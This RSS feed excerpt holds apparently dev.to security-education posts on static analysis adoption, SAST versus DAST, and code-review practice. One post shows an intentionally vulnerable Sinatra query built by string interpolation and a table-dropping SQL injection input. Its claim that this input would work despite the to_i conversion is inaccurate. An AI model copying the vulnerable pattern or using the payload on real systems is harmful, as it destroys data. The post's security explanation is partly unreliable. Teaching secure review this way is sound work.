&lt;p&gt;From there, you can introduce automated checks &lt;em&gt;before&lt;/em&gt; code even gets into the main repository by using pre-commit hooks. These are lightweight, client-side scripts that run a quick scan on staged files, blocking a commit if it introduces a new, critical issue. This simple step prevents a whole class of easy-to-spot mistakes from ever touching the shared codebase.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;By the time a developer opens a pull request, they should already feel confident their code is clean. The formal CI/CD scan then acts as a final verification, not the first moment of discovery. This builds trust and fosters a security-first culture.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Key Integration Points in Your Pipeline
&lt;/h3&gt;

&lt;p&gt;Once code is pushed and a pull request is opened, your CI/CD pipeline takes the baton. This is where you can run the deeper, more resource-intensive scans that cover the entire application.&lt;/p&gt;

&lt;p&gt;Here are the most effective places to integrate static analysis into a modern workflow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;IDE Plugins:&lt;/strong&gt; Give developers real-time feedback as they type. This is the fastest way to prevent common errors and teach secure coding habits on the fly.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Pre-Commit Hooks:&lt;/strong&gt; Act as a local gatekeeper, running quick scans on changed files before they’re committed. Think of it as a final check before sharing.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Pull Request (PR) Automation:&lt;/strong&gt; When a PR is created, automatically trigger a full static analysis scan. The best tools can post findings as comments directly on the changed lines of code, making the review process immediate and contextual.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Pipeline Quality Gates:&lt;/strong&gt; Configure your pipeline to fail the build if the scan finds new, high-severity vulnerabilities. This is a hard stop that prevents insecure code from being merged into your main branch.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tuning the Noise and Managing Findings
&lt;/h3&gt;

&lt;p&gt;One of the biggest pitfalls with static analysis is overwhelming developers with too many findings, especially &lt;strong&gt;false positives&lt;/strong&gt;. If the tool is too noisy, your team will quickly learn to ignore it. Success hinges on thoughtful configuration and tuning.&lt;/p&gt;

&lt;p&gt;Start small. Focus only on high-confidence, high-impact rules. It's far better to find a handful of critical, actionable issues than to report hundreds of low-priority ones. You can also establish a baseline on your main branch and configure the tool to &lt;em&gt;only&lt;/em&gt; report new findings introduced in a pull request.&lt;/p&gt;

&lt;p&gt;Managing the findings that do pop up is just as crucial. Here are a few best practices:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Prioritize Ruthlessly:&lt;/strong&gt; Concentrate on fixing critical and high-severity vulnerabilities first. Use resources like the CWE Top 25 as a guide for what truly matters.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Tune Your Rule Sets:&lt;/strong&gt; Be prepared to disable rules that aren't relevant to your tech stack or that consistently produce false positives in your codebase.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Suppress Known Risks:&lt;/strong&gt; If a finding is a known, accepted risk, formally suppress it in the tool with a clear justification. This keeps the dashboard clean and focused on what's actionable.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By thoughtfully integrating static analysis and carefully managing its output, you can transform it from just another security scanner into a valuable development coach—one that helps your team build safer, better software by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical Roadmap for Adopting Static Analysis
&lt;/h2&gt;

&lt;p&gt;Bringing static analysis into an engineering organization isn't about just installing another tool. It’s about changing habits and building a culture that prioritizes code health from the very first line. A successful rollout requires a smart strategy that frames the tool as a helpful coach, not a frustrating gatekeeper. With a clear plan, you can turn automated analysis from a chore into a real competitive advantage.&lt;/p&gt;

&lt;p&gt;First things first: you need a compelling business case. Ditch the technical jargon and focus on the &lt;strong&gt;Return on Investment (ROI)&lt;/strong&gt;. Show leadership how finding vulnerabilities early slashes remediation costs—a bug fixed during development is exponentially cheaper than one found after a release. Make it clear that cleaner, more secure code means fewer production fires, less unplanned work, and more predictable release cycles.&lt;/p&gt;

&lt;h3&gt;
  
  
  Selecting the Right Tool and Team
&lt;/h3&gt;

&lt;p&gt;Once you have buy-in, it’s time to choose your tool and run a pilot. Not all static analysis tools are created equal, so picking one that fits your team’s world is critical.&lt;/p&gt;

&lt;p&gt;Here’s what to look for during your evaluation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Technology Stack Compatibility:&lt;/strong&gt; The tool must have rock-solid support for your team's primary programming languages and frameworks. No exceptions.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Integration Capabilities:&lt;/strong&gt; How easily does it plug into your daily workflow? Look for deep integrations with your IDE, source control (like &lt;a href="https://github.com/" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; or &lt;a href="https://about.gitlab.com/" rel="noopener noreferrer"&gt;GitLab&lt;/a&gt;), and especially your CI/CD pipeline.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Signal-to-Noise Ratio:&lt;/strong&gt; A tool that drowns developers in false positives will be ignored into oblivion. Prioritize tools known for their accuracy and for rule sets that are easy to tune.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After you've picked a contender, resist the temptation to roll it out to everyone at once. Instead, run a &lt;strong&gt;pilot program with a champion team&lt;/strong&gt;. Find a group that's open to new processes and will give you honest, constructive feedback. Their success will become a powerful internal case study, proving the tool's value to the rest of the organization.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The goal of the pilot isn't just to test the tool; it's to refine the &lt;em&gt;process&lt;/em&gt;. Use this phase to dial in configurations, document best practices, and build a playbook for a company-wide rollout.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Focusing on Developer Enablement
&lt;/h3&gt;

&lt;p&gt;The single most critical factor for success is &lt;strong&gt;developer training and enablement&lt;/strong&gt;. Just dropping a new tool on your team and expecting them to adopt it is a recipe for failure. Your engineers need to understand the "why" behind the findings, not just the "what."&lt;/p&gt;

&lt;p&gt;Make your training practical and hands-on. Don't just show them how to click buttons in a dashboard. Teach them about the common vulnerabilities the tool finds, like SQL injection or cross-site scripting. When developers grasp the real-world impact of these issues, they stop seeing security as someone else's problem and become active partners.&lt;/p&gt;

&lt;p&gt;Frame the static analysis tool as an automated assistant that helps them write better, safer code right from the start. Celebrate early wins and highlight how the tool prevents painful rework down the line. When your developers see static analysis as a way to improve their craft and avoid future headaches, they’ll embrace it. This shift in perspective is what transforms a simple tool into a catalyst for a stronger, more resilient security culture.&lt;/p&gt;

&lt;p&gt;When your team starts looking into static code analysis, the same questions always seem to come up. Getting these tools up and running involves a bit of a learning curve, so figuring out the practical challenges ahead of time is the key to a smooth rollout.&lt;/p&gt;

&lt;p&gt;Here are some straight answers to the most common questions we hear from developers and managers.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Do I Handle a High Number of False Positives?
&lt;/h3&gt;

&lt;p&gt;One of the quickest ways to kill a static analysis initiative is to overwhelm developers with false positives—warnings that aren't real security issues. If the tool is constantly crying wolf, people will learn to ignore it completely. Taming that noise is job number one.&lt;/p&gt;

&lt;p&gt;The best place to start is by &lt;strong&gt;tuning the rule sets&lt;/strong&gt;. Don't just turn on every rule in the book. Instead, begin with a small, high-confidence set of rules that target critical vulnerabilities. You can add more rules gradually as the team gets more comfortable with the process. Also, make sure you're using features that let you &lt;strong&gt;suppress known and accepted risks&lt;/strong&gt;. Once a finding is reviewed and green-lit, mark it that way so it stops showing up in every scan.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The most effective strategy is often baseline analysis. Set up your tool to only flag &lt;em&gt;new&lt;/em&gt; issues introduced in a commit or pull request. This keeps the feedback loop tight and directly relevant to what a developer is working on right now.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Can Static Analysis Replace Manual Code Reviews?
&lt;/h3&gt;

&lt;p&gt;We get this one a lot, and the answer is a firm &lt;strong&gt;no&lt;/strong&gt;. Static analysis tools and manual code reviews are partners, not competitors. They do different things, and you absolutely need both for a solid security program.&lt;/p&gt;

&lt;p&gt;Static analysis is all about scale. It can tear through an entire codebase in minutes, checking for thousands of known vulnerability patterns—a task no human could ever do. It’s fantastic at catching common, low-hanging fruit like potential SQL injection patterns or accidentally hardcoded secrets.&lt;/p&gt;

&lt;p&gt;But a tool has no real understanding. It can't grasp your business logic or why an application was designed a certain way. A manual code review, done by a skilled engineer, is the only way to find complex architectural flaws, subtle business logic errors, and new types of vulnerabilities that don't match a predefined pattern.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Is the Difference Between Open Source and Commercial SAST Tools?
&lt;/h3&gt;

&lt;p&gt;When you go to pick a tool, you'll find yourself choosing between open-source and commercial options. Each has major trade-offs, and what's right for you will depend on your team's size, security maturity, and specific goals.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Open-Source SAST Tools:&lt;/strong&gt; These are often the perfect place to start. They're incredibly flexible, highly customizable, and usually backed by a strong community. They're great for smaller teams or for anyone who wants to experiment with static analysis without a big financial commitment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Commercial SAST Tools:&lt;/strong&gt; These tools are built for the enterprise. They usually offer broader support for different languages and frameworks, use more advanced analysis to reduce false positives, and come with features like centralized dashboards, compliance reporting, and dedicated support with SLAs.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Often, the best approach is a mix of both. You might use open-source linters to maintain code quality day-to-day and a powerful commercial tool for deep security scanning in your CI/CD pipeline.&lt;/p&gt;

</description>
      <category>security</category>
      <category>codereview</category>
      <category>cleancode</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>SAST vs DAST vs (IAST/RASP): Quick AppSec Checklist</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Tue, 10 Feb 2026 14:23:49 +0000</pubDate>
      <link>https://dev.to/securitystefan/sast-vs-dast-vs-iastrasp-quick-appsec-checklist-11b3</link>
      <guid>https://dev.to/securitystefan/sast-vs-dast-vs-iastrasp-quick-appsec-checklist-11b3</guid>
      <description>&lt;p&gt;If you work in application security or do code reviews, you’ve probably heard the acronyms: &lt;strong&gt;SAST&lt;/strong&gt;, &lt;strong&gt;DAST&lt;/strong&gt;, &lt;strong&gt;IAST&lt;/strong&gt;, &lt;strong&gt;RASP&lt;/strong&gt;. They’re often mentioned together, but they solve different problems and fit into different stages of the &lt;strong&gt;SDLC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here’s a practical breakdown to help you choose the right tool for the job.&lt;/p&gt;

&lt;h2&gt;
  
  
  SAST (Static Application Security Testing)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Analyzes source code or binaries without running the app&lt;/li&gt;
&lt;li&gt;Best used early in development (IDE, CI pipelines)&lt;/li&gt;
&lt;li&gt;Good for catching common issues like injection flaws, insecure logic, and misuse of APIs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trade-off:&lt;/strong&gt; false positives and limited runtime context&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  DAST (Dynamic Application Security Testing)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Tests a running application from the outside&lt;/li&gt;
&lt;li&gt;Works well against production-like environments&lt;/li&gt;
&lt;li&gt;Finds real, exploitable issues such as authentication flaws, misconfigurations, and runtime injection bugs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trade-off:&lt;/strong&gt; limited visibility into the source code&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  IAST &amp;amp; RASP
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Run inside the application at runtime&lt;/li&gt;
&lt;li&gt;Combine code-level insight with real execution data&lt;/li&gt;
&lt;li&gt;Useful for high-confidence findings and production monitoring&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trade-off:&lt;/strong&gt; requires instrumentation and runtime overhead&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  So which one should you use?
&lt;/h2&gt;

&lt;p&gt;There’s no single “&lt;u&gt;best&lt;/u&gt;” option. Most mature security programs combine:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;SAST for early feedback&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;DAST for real-world attack simulation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;IAST/RASP for runtime visibility and protection&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I put together a concise secure coding and testing checklist that compares these approaches, explains where they fit best, and highlights common mistakes teams make when relying on only one tool.&lt;/p&gt;

&lt;p&gt;👉 Secure Coding Practices Checklist&lt;br&gt;
&lt;a href="https://www.codereviewlab.com/learning/secure-coding-practices-checklist" rel="noopener noreferrer"&gt;https://www.codereviewlab.com/learning/secure-coding-practices-checklist&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’re doing code reviews, threat modeling, or building AppSec pipelines, it should save you time and help you pick the right tool for each phase.&lt;/p&gt;

</description>
      <category>sast</category>
      <category>appsec</category>
      <category>security</category>
      <category>codereview</category>
    </item>
    <item>
      <title>How to practice Security Code Reviews</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Thu, 22 Jan 2026 23:47:16 +0000</pubDate>
      <link>https://dev.to/securitystefan/how-to-practice-security-code-reviews-2ii0</link>
      <guid>https://dev.to/securitystefan/how-to-practice-security-code-reviews-2ii0</guid>
      <description>&lt;p&gt;As developers in 2026, we all know the drill: ship fast, iterate faster, and hope security doesn't bite us later. But with the OWASP Top 10:2025 still dominating headlines—Broken Access Control at #1, Security Misconfiguration climbing to #2, and classics like Injection now at #5—the reality is clear. Most vulnerabilities aren't exotic zero-days; they're preventable mistakes that slip through because we don't practice spotting them enough.&lt;br&gt;
Checklists, or hour-long videos that feel disconnected from real code. Developers memorize OWASP categories but struggle to recognize them in pull requests or their own work.&lt;/p&gt;

&lt;p&gt;What you need is &lt;strong&gt;hands-on code review practice&lt;/strong&gt;. Reviewing vulnerable code trains your brain to spot issues faster than any lecture. It's active learning: you read, question, identify, and fix; mirroring what happens in real PRs or audits.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Actual Code Review Beats Passive Learning
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pattern Recognition Builds Muscle Memory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Just like LeetCode trains algorithms, reviewing flawed code trains security intuition. Over time, you start seeing red flags instantly: unvalidated user input in a query, missing authorization checks, or raw string concatenation that screams injection.&lt;/p&gt;

&lt;p&gt;Vulnerabilities live in context-architecture, frameworks, business logic. Reviewing a full mini-app (routes, models, views) shows how one bad line cascades into risk.&lt;/p&gt;
&lt;h2&gt;
  
  
  A Quick Walkthrough: Spotting a Real Vulnerability
&lt;/h2&gt;

&lt;p&gt;Imagine a simple Ruby/Sinatra movie rating endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rubypost '/movies/:id/rate' do
  movie = Movie.find(params[:id])
  rating = params[:rating].to_i

  db.execute("UPDATE movies SET rating = #{rating} WHERE id = #{movie.id}")

  "Rated!"
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What's wrong?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Injection risk&lt;/strong&gt; - no sanitization or prepared statements. An attacker could send malicious input like &lt;code&gt;1; DROP TABLE users;--&lt;/code&gt;.&lt;br&gt;
&lt;strong&gt;Broken access control potential&lt;/strong&gt; — no check if the user owns/can rate the movie.&lt;br&gt;
&lt;strong&gt;No input validation&lt;/strong&gt; — negative ratings? Non-integers? All pass through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fixes&lt;/strong&gt;: Use parameterized queries (e.g., via Sequel or ActiveRecord), validate input range (1-5), add auth checks.&lt;/p&gt;

&lt;p&gt;This is exactly the kind of challenge that makes learning stick! Browse files, click suspicious lines, get instant verification.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Get Started with Secure Coding Practice
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Start small&lt;/strong&gt;: Pick one OWASP category per week (e.g., Injection this week, Access Control next).&lt;br&gt;
&lt;strong&gt;Use real-ish code&lt;/strong&gt;: Avoid toy snippets; review small apps with routes, DB interactions, auth flows.&lt;br&gt;
&lt;strong&gt;Get feedback&lt;/strong&gt;: Immediate "yes/no" on your find helps calibrate your eye.&lt;br&gt;
&lt;strong&gt;Track progress&lt;/strong&gt;: Especially for teams—see completion rates, common misses.&lt;/p&gt;

&lt;p&gt;If you're looking for a platform built exactly for this, &lt;a href="https://www.codereviewlab.com/" rel="noopener noreferrer"&gt;Code Review Lab&lt;/a&gt; stands out. It's an interactive tool where you dive into vulnerable apps (like Ruby/Sinatra movie streaming services), browse code files, pinpoint the bad line, and get instant checks. Challenges are tagged by vuln type, with weekly free ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;In 2026, secure coding isn't optional—it's table stakes. But lectures won't cut it. The fastest path to mastery is &lt;strong&gt;reviewing vulnerable code repeatedly&lt;/strong&gt; until patterns jump out at you.&lt;br&gt;
&lt;strong&gt;Start today&lt;/strong&gt;: pick a challenge, review a file, hunt for that one dangerous line. Your future self (and your users) will thank you.&lt;/p&gt;

&lt;p&gt;What’s your go-to way to practice secure coding? Drop a comment—tools, books, or horror stories from prod bugs. Let's share what actually works.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>security</category>
      <category>softwaredevelopment</category>
    </item>
  </channel>
</rss>
